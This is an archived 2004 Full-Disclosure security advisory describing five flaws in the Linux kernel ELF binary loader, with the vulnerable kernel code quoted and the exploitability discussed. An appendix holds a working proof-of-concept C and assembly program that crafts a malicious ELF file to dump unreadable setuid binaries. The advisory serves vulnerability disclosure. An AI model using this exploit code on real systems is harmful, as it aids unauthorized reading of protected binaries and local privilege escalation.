

# [Full-Disclosure] Linux ELF loader vulnerabilities

**Source:** <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2004-11/0356.html>

---

**From:** Paul Starzetz (*ihaquer\_at\_isec.pl*)

**Date:** 11/10/04

To: full-disclosure@lists.netsys.com, <bugtraq@securityfocus.com>

Date: Wed, 10 Nov 2004 12:59:25 +0100 (CET)

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Synopsis: Linux kernel binfmt\_elf loader vulnerabilities

Product: Linux kernel

Version: 2.4 up to to and including 2.4.27, 2.6 up to to and including 2.6.8

Vendor: <http://www.kernel.org/>

URL: [http://isec.pl/vulnerabilities/isec-0017-binfmt\\_elf.txt](http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt)

CVE: not assigned

Author: Paul Starzetz <ihaquer@isec.pl>

Date: Nov 10, 2004

Issue:

=====

Numerous bugs have been found in the Linux ELF binary loader while handling setuid binaries.

Details:

=====

On Unix like systems the `execve(2)` system call provides functionality to replace the current process by a new one (usually found in binary form on the disk) or in other words to execute a new program.

Internally the Linux kernel uses a binary format loader layer to implement the low level format dependend functionality of the `execve()` system call. The common `execve` code contains just few helper functions used to load the new binary and leaves the format specific work to a specialized binary format loader.

One of the Linux format loaders is the ELF (Executable and Linkable Format) loader. Nowadays ELF is the standard format for Linux binaries besides the `a.out` binary format, which is not used in practice anymore.

## Full-Disclosure: [Full-Disclosure] Linux ELF loader vulnerabilities

One of the functions of a binary format loader is to properly handle setuid executables, that is executables with the setuid bit set on the file system image of the executable. It allows execution of programs under a different user ID than the user issuing the execve call but is some lacy work from security point of view.

Every ELF binary contains an ELF header defining the type and the layout of the program in memory as well as addition sections (like which program interpreter to load, symbol table, etc). The ELF header normally contains information about the entry point (start address) of the binary and the position of the memory map header (phdr) in the binary image and the program interpreter (that is normally the dynamic linker ld-linux.so). The memory map header defines the memory mapping of the executable file that can be seen later from /proc/self/maps.

We have indentified 5 different flaws in the Linux ELF binary loader (linux/fs/binfmt\_elf.c all line numbers for 2.4.27):

1) wrong return value check while filling kernel buffers (loop to scan the binary header for an interpreter section):

```
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
    size = elf_ex.e_phnum * sizeof(struct elf_phdr);
    elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
    if (!elf_phdata)
        goto out;

477: retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
    if (retval < 0)
        goto out_free_ph;
```

The above code looks good on the first glance, however checking the return value of kernel\_read (which calls file->f\_op->read) to be non-negative is not sufficient since a read() can perfectly return less than the requested buffer size bytes. This bug happens also on lines 301, 523, 545 respectively.

2) incorrect on error behaviour, if the mmap() call fails (loop to mmap binary sections into memory):

```
645: for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
684: error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
    if (BAD_ADDR(error))
        continue;
```

3) bad return value vulnerability while mapping the program interpreter into memory:

```
301: retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);
    error = retval;
```

```

if (retval < 0)
    goto out_close;

eppnt = elf_phdata;
for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
    map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
322: if (BAD_ADDR(map_addr))
    goto out_close;
out_close:
    kfree(elf_phdata);
out:
    return error;
}

```

4) the loaded interpreter section can contain an interpreter name string without the terminating NULL:

```

508: for (i = 0; i < elf_ex.e_phnum; i++) {
518: elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
    GFP_KERNEL);
    if (!elf_interpreter)
        goto out_free_file;

    retval = kernel_read(bprm->file, elf_ppnt->p_offset,
        elf_interpreter,
        elf_ppnt->p_filesz);
    if (retval < 0)
        goto out_free_interp;

```

5) bug in the common `execve()` code in `exec.c`: vulnerability in `open_exec()` permitting reading of non-readable ELF binaries, which can be triggered by requesting the file in the ELF PT\_INTERP section:

```

541: interpreter = open_exec(elf_interpreter);
    retval = PTR_ERR(interpreter);
    if (IS_ERR(interpreter))
        goto out_free_interp;
    retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);

```

Discussion:

=====

1) The Linux man pages state that a `read(2)` can return less than the requested number of bytes, even zero. It is not clear how this can happen while reading a disk file (in contrast to network sockets), however here some thoughts:

-- if we trick `read` to fill the `elf_phdata` buffer with less than `size` bytes, the remaining part of the buffer will contain some garbage data, that is data from the previous kernel object, which occupied that memory area.

Therefore we could arbitrarily modify the memory layout of the binary supplying a suitable header information in the kernel buffer. This should be sufficient to gain control over the flow of execution for most of the setuid binaries around.

- on Linux a disk read goes through the page cache. That is, a disk read can easily fail on a page boundary due to a low memory condition. In this case read will return less than the requested number of bytes but still indicate success (`ret>0`).

- most of the standard setuid binaries on a 'normal' i386 Linux installation have ELF headers stored below the 4096th byte, therefore they are probably not exploitable on i386 architecture.

2) This bug can lead to an incorrectly mmaped binary image in the memory. There are various reasons why a `mmap()` call can fail:

- a temporary low memory condition, so that the allocation of a new VMA descriptor fails

- memory limit (`RLIMIT_AS`) exceeded, which can be easily manipulated before calling `execve()`

- file locks held for the binary file in question

Security implications in the case of a setuid binary are quite obvious: we may end up with a binary without the `.text` or `.bss` section or with those sections shifted (in the case they are not 'fixed' sections). It is not clear which standard binaries are exploitable however it is sufficient that at some point we come over some instructions that jump into the environment area due to malformed memory layout and gain full control over the setuid application.

3) This bug is similar to 2) however the code incorrectly returns the `kernel_read` status to the calling function on `mmap` failure which will assume that the program interpreter has been loaded. That means that the kernel will start the execution of the binary file itself instead of calling the program interpreter (linker) that have to finish the binary loading from user space.

We have found that standard Linux (i386, GCC 2.95) setuid binaries contain code that will jump to the `EIP=0` address and crash (since there is no virtual memory mapped there), however this may vary from binary to binary as well from architecture to architecture and may be easily exploitable.

4) This bug leads to internal kernel file system functions being called with an argument string exceeding the maximum path size in length (`PATH_MAX`). It is not clear if this condition is exploitable.

## Full-Disclosure: [Full-Disclosure] Linux ELF loader vulnerabilities

An user may try to execute such a malicious binary with an unterminated interpreter name string and trick the kernel memory manager to return a memory chunk for the `elf_interpreter` variable followed by a suitable longish path name (like `./././...`). Our experiments show that it can lead to a preceivable system hang.

5) This bug is similar to the shared file table race [1]. We give a proof-of-concept code at the end of this article that just core dumps the non-readable but executable ELF file.

An user may create a manipulated ELF binary that requests a non-readable but executable file as program intrepreter and gain read access to the privileged binary. This works only if the file is a valid ELF image file, so it is not possible to read a data file that has the execute bit set but the read bit cleared. A common usage would be to read exec-only setuid binaries to gain offsets for further exploitation.

Impact:

=====

Unprivileged users may gain elevated (root) privileges.

Credits:

=====

Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS.

Disclaimer:

=====

This document and all the information it contains are provided "as is", for educational purposes only, without warranty of any kind, whether express or implied.

The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected.

Appendix:

=====

```
/*
 *
 * binfmt_elf executable file read vulnerability
 *
 * gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
```

## Full-Disclosure: [Full-Disclosure] Linux ELF loader vulnerabilities

```
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
```

```
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
```

```
#include <linux/elf.h>
```

```
#define BADNAME "/tmp/_elf_dump"
```

```
void usage(char *s)
{
    printf("\nUsage: %s executable\n\n", s);
    exit(0);
}
```

```
// ugly mem scan code :-)
static volatile void bad_code(void)
```

```
{
    __asm__(
// "1: jmp 1b \n"
        " xorl %edi, %edi \n"
        " movl %esp, %esi \n"
        " xorl %edx, %edx \n"
        " xorl %ebp, %ebp \n"
        " call get_addr \n"

        " movl %esi, %esp \n"
        " movl %edi, %ebp \n"
        " jmp inst_sig \n"

        "get_addr: popl %ecx \n"
    );
}
```

```
// sighand
    "inst_sig: xorl %eax, %eax \n"
    " movl $11, %ebx \n"
    " movb $48, %al \n"
    " int $0x80 \n"
```

## Full-Disclosure: [Full-Disclosure] Linux ELF loader vulnerabilities

```
"ld_page: movl %ebp, %eax \n"
" subl %edx, %eax \n"
" cmpl $0x1000, %eax \n"
" jle ld_page2 \n"

// mprotect
" pusha \n"
" movl %edx, %ebx \n"
" addl $0x1000, %ebx \n"
" movl %eax, %ecx \n"
" xorl %eax, %eax \n"
" movb $125, %al \n"
" movl $7, %edx \n"
" int $0x80 \n"
" popa \n"

"ld_page2: addl $0x1000, %edi \n"
" cmpl $0xc0000000, %edi \n"
" je dump \n"
" movl %ebp, %edx \n"
" movl (%edi), %eax \n"
" jmp ld_page \n"

"dump: xorl %eax, %eax \n"
" xorl %ecx, %ecx \n"
" movl $11, %ebx \n"
" movb $48, %al \n"
" int $0x80 \n"
" movl $0xdeadbeef, %eax \n"
" jmp *(%eax) \n"

);
}

static volatile void bad_code_end(void)
{
}

int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

    if(ac<2)
        usage(av[0]);

// make bad a.out
    fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
    nl = strlen(av[1])+1;
```

```

memset(&eh, 0, sizeof(eh) );

// elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 2;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );

// section header(s)
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_INTERP;
eph.p_offset = sizeof(eh) + 2*sizeof(eph);
eph.p_filesz = nl;
write(fd, &eph, sizeof(eph) );

memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = 0x0000;
eph.p_flags = PF_R|PF_X;
write(fd, &eph, sizeof(eph) );

// .interp
write(fd, av[1], nl );

// executable code
nl = &bad_code_end - &bad_code;
lseek(fd, 4096, SEEK_SET);
write(fd, &bad_code, 4096);
close(fd);

// dump the shit
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
if( setrlimit(RLIMIT_CORE, &rl) )
    perror("\nsetrlimit failed");
fflush(stdout);
pid = fork();
if(pid)
    wait(NULL);
else
    execl(BADNAME, BADNAME, NULL);

printf("\ncore dumped!\n\n");
unlink(BADNAME);

```

Full-Disclosure: [Full-Disclosure] Linux ELF loader vulnerabilities

```
return 0;  
}
```

---

Paul Starzetz  
iSEC Security Research  
<http://isec.pl/>

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFBkgKiC+8U3Z5wpu4RAts9AKCYBrBfOXG/XuTdKr7Aw/WKJwIBUgCffAvH  
NgTqTlQ2xmIfX6P5JXMpqqqs=  
=WF4V

-----END PGP SIGNATURE-----

---

Full-Disclosure – We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>